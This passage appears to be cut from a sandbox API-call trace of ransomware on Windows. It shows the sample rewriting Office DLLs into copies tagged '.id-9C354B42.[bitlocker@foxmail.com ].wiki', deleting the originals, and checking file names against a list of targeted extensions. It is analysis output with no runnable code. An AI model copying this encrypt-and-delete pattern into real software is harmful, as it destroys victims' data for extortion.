(normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.173] GetLastError () returned 0x0 [0192.173] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x2560, lpOverlapped=0x0) returned 1 [0192.176] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2570, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2570, lpOverlapped=0x0) returned 1 [0192.177] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.177] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0192.177] SetEndOfFile (hFile=0x200) returned 1 [0192.177] CloseHandle (hObject=0x200) returned 1 [0192.177] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.177] SetEndOfFile (hFile=0x220) returned 1 [0192.178] CloseHandle (hObject=0x220) returned 1 [0192.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.178] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 1 [0192.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.179] lstrlenW (lpString=".doc") returned 4 [0192.179] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.179] lstrlenW (lpString=".docx") returned 5 [0192.179] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0192.179] lstrlenW (lpString=".pdf") returned 4 [0192.179] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.179] lstrlenW (lpString=".xls") returned 4 [0192.179] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.179] lstrlenW (lpString=".xlsx") returned 5 [0192.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0192.179] lstrlenW (lpString=".ppt") returned 4 [0192.179] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.179] lstrlenW (lpString=".zip") returned 4 [0192.179] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.179] lstrlenW (lpString=".rar") returned 4 [0192.179] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.179] lstrlenW (lpString=".bz2") returned 4 [0192.179] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.179] lstrlenW (lpString=".7z") returned 3 [0192.179] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.179] lstrlenW (lpString=".dbf") returned 4 [0192.179] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.179] lstrlenW (lpString=".1cd") returned 4 [0192.179] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.180] lstrlenW (lpString=".jpg") returned 4 [0192.180] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.180] lstrlenW (lpString=".doc") returned 4 [0192.180] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString=".docx") returned 5 [0192.180] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0192.180] lstrlenW (lpString=".pdf") returned 4 [0192.180] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString=".xls") returned 4 [0192.180] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString=".xlsx") returned 5 [0192.180] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0192.180] lstrlenW (lpString=".ppt") returned 4 [0192.180] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.180] lstrlenW (lpString=".zip") returned 4 [0192.180] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString=".rar") returned 4 [0192.180] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.180] lstrlenW (lpString=".bz2") returned 4 [0192.180] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.180] lstrlenW (lpString=".7z") returned 3 [0192.180] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.180] lstrlenW (lpString=".dbf") returned 4 [0192.180] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.180] lstrlenW (lpString=".1cd") returned 4 [0192.180] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned 66 [0192.181] lstrlenW (lpString=".jpg") returned 4 [0192.181] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.181] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.181] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0192.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.181] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=19848) returned 1 [0192.181] CloseHandle (hObject=0x220) returned 1 [0192.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0192.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.182] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.182] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.182] GetLastError () returned 0x0 [0192.182] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x4d88, lpOverlapped=0x0) returned 1 [0192.193] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4d90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4d90, lpOverlapped=0x0) returned 1 [0192.195] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.195] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.195] SetEndOfFile (hFile=0x200) returned 1 [0192.195] CloseHandle (hObject=0x200) returned 1 [0192.195] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.195] SetEndOfFile (hFile=0x220) returned 1 [0192.196] CloseHandle (hObject=0x220) returned 1 [0192.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 1 [0192.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.196] lstrlenW (lpString=".doc") returned 4 [0192.196] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.196] lstrlenW (lpString=".docx") returned 5 [0192.196] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0192.196] lstrlenW (lpString=".pdf") returned 4 [0192.196] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.196] lstrlenW (lpString=".xls") returned 4 [0192.196] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.196] lstrlenW (lpString=".xlsx") returned 5 [0192.196] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0192.196] lstrlenW (lpString=".ppt") returned 4 [0192.197] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.197] lstrlenW (lpString=".zip") returned 4 [0192.197] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.197] lstrlenW (lpString=".rar") returned 4 [0192.197] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.197] lstrlenW (lpString=".bz2") returned 4 [0192.197] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.197] lstrlenW (lpString=".7z") returned 3 [0192.197] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.197] lstrlenW (lpString=".dbf") returned 4 [0192.197] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.197] lstrlenW (lpString=".1cd") returned 4 [0192.197] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.197] lstrlenW (lpString=".jpg") returned 4 [0192.197] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.197] lstrlenW (lpString=".doc") returned 4 [0192.197] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.197] lstrlenW (lpString=".docx") returned 5 [0192.197] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0192.197] lstrlenW (lpString=".pdf") returned 4 [0192.197] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.197] lstrlenW (lpString=".xls") returned 4 [0192.197] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.198] lstrlenW (lpString=".xlsx") returned 5 [0192.198] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0192.198] lstrlenW (lpString=".ppt") returned 4 [0192.198] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.198] lstrlenW (lpString=".zip") returned 4 [0192.198] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.198] lstrlenW (lpString=".rar") returned 4 [0192.198] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.198] lstrlenW (lpString=".bz2") returned 4 [0192.198] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.198] lstrlenW (lpString=".7z") returned 3 [0192.198] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.198] lstrlenW (lpString=".dbf") returned 4 [0192.198] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.198] lstrlenW (lpString=".1cd") returned 4 [0192.198] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0192.198] lstrlenW (lpString=".jpg") returned 4 [0192.198] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.198] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.198] lstrlenW (lpString="PJ11OD11.DLL") returned 12 [0192.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.199] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=752552) returned 1 [0192.199] CloseHandle (hObject=0x220) returned 1 [0192.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0192.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.199] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.199] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.200] GetLastError () returned 0x0 [0192.200] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xb7ba8, lpOverlapped=0x0) returned 1 [0192.353] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xb7bb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xb7bb0, lpOverlapped=0x0) returned 1 [0192.367] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.367] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.367] SetEndOfFile (hFile=0x200) returned 1 [0192.368] CloseHandle (hObject=0x200) returned 1 [0192.368] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.368] SetEndOfFile (hFile=0x220) returned 1 [0192.373] CloseHandle (hObject=0x220) returned 1 [0192.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.373] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 1 [0192.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.374] lstrlenW (lpString=".doc") returned 4 [0192.374] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.374] lstrlenW (lpString=".docx") returned 5 [0192.374] lstrcmpiW (lpString1=".docx", lpString2="1.DLL") returned -1 [0192.374] lstrlenW (lpString=".pdf") returned 4 [0192.374] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.374] lstrlenW (lpString=".xls") returned 4 [0192.374] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.374] lstrlenW (lpString=".xlsx") returned 5 [0192.374] lstrcmpiW (lpString1=".xlsx", lpString2="1.DLL") returned -1 [0192.374] lstrlenW (lpString=".ppt") returned 4 [0192.374] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.374] lstrlenW (lpString=".zip") returned 4 [0192.374] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.374] lstrlenW (lpString=".rar") returned 4 [0192.374] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.374] lstrlenW (lpString=".bz2") returned 4 [0192.374] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.374] lstrlenW (lpString=".7z") returned 3 [0192.374] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.374] lstrlenW (lpString=".dbf") returned 4 [0192.374] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.374] lstrlenW (lpString=".1cd") returned 4 [0192.374] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.375] lstrlenW (lpString=".jpg") returned 4 [0192.375] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.375] lstrlenW (lpString=".doc") returned 4 [0192.375] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString=".docx") returned 5 [0192.375] lstrcmpiW (lpString1=".docx", lpString2="1.DLL") returned -1 [0192.375] lstrlenW (lpString=".pdf") returned 4 [0192.375] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString=".xls") returned 4 [0192.375] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString=".xlsx") returned 5 [0192.375] lstrcmpiW (lpString1=".xlsx", lpString2="1.DLL") returned -1 [0192.375] lstrlenW (lpString=".ppt") returned 4 [0192.375] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.375] lstrlenW (lpString=".zip") returned 4 [0192.375] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString=".rar") returned 4 [0192.375] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.375] lstrlenW (lpString=".bz2") returned 4 [0192.375] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.375] lstrlenW (lpString=".7z") returned 3 [0192.375] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.375] lstrlenW (lpString=".dbf") returned 4 [0192.375] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.375] lstrlenW (lpString=".1cd") returned 4 [0192.375] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0192.376] lstrlenW (lpString=".jpg") returned 4 [0192.376] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.376] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.376] lstrlenW (lpString="SERCONV.DLL") returned 11 [0192.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.376] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=591736) returned 1 [0192.376] CloseHandle (hObject=0x220) returned 1 [0192.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0192.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.377] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.377] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.377] GetLastError () returned 0x0 [0192.377] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x90778, lpOverlapped=0x0) returned 1 [0192.604] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x90780, lpNumberOfBytesWritten=0x33cfc9c, 